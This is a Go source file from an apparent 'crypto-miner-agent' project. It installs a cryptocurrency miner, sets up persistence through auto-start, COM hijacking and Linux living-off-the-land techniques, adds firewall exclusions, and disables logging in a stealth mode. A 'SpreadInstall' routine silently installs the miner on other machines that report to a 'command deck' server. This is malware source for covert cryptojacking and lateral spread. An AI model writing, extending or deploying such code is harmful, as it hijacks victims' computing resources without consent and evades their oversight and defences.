package deploy import ( "fmt" "os" "path/filepath" "crypto-miner-agent/config" ) // InstallIfNeeded copies the installer to a permanent location, registers auto-start, // and relaunches the miner from there. Returns true when the current process should exit. func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) { if isRunMode() { return false, nil } currentExe, err := CurrentExecutable() if err != nil { return false, err } installDir, err := resolveInstallDirWithFallback(cfg) if err != nil { return false, err } installedBin := filepath.Join(installDir, BinaryName(cfg)) if samePath(currentExe, installedBin) { return false, nil } if err := os.MkdirAll(installDir, 0755); err != nil { return false, fmt.Errorf("create install dir: %w", err) } if err := copyFile(currentExe, installedBin); err != nil { return false, fmt.Errorf("copy miner: %w", err) } _ = saveBackup(installedBin) agentID, err := loadOrCreateAgentID(installDir) if err != nil { return false, fmt.Errorf("agent id: %w", err) } logPath := filepath.Join(installDir, "miner.log") if !cfg.FileLogging || cfg.StealthMode { logPath = "" } writeInstalledMarker(cfg, installDir, installedBin, agentID) if wantsSpreadInstall() { _ = setFirstRunSpreadMarker(installDir) } if err := applyAutostartOnInstall(cfg, installedBin); err != nil { return false, fmt.Errorf("autostart: %w", err) } MaybeApplyCOMHijackOnInstall(cfg, installedBin) applyLinuxLOTLPersistence(cfg, installedBin) if err := configureRunMode(cfg, installedBin); err != nil { return false, err } EnsureFirewallExclusion(cfg, installedBin) if err := relaunchWithOptions(installedBin, logPath, wantsSpreadInstall() || WantsDeferMining()); err != nil { return false, fmt.Errorf("start installed miner: %w", err) } return true, nil } // SpreadInstall performs silent install from a spread-kit launcher (same as InstallIfNeeded). func SpreadInstall(cfg config.RuntimeConfig) (bool, error) { if isLocalhostURL(cfg.ServerURL) { LogSpreadError("preflight", fmt.Errorf("server URL is localhost — workers on other machines cannot reach the command deck; re-forge with your LAN IP")) } ok, err := InstallIfNeeded(cfg) if err != nil { LogSpreadError("spread-install", err) return ok, err } if ok { LogSpreadInfo("spread-install complete — worker relaunched from install dir") } return ok, err }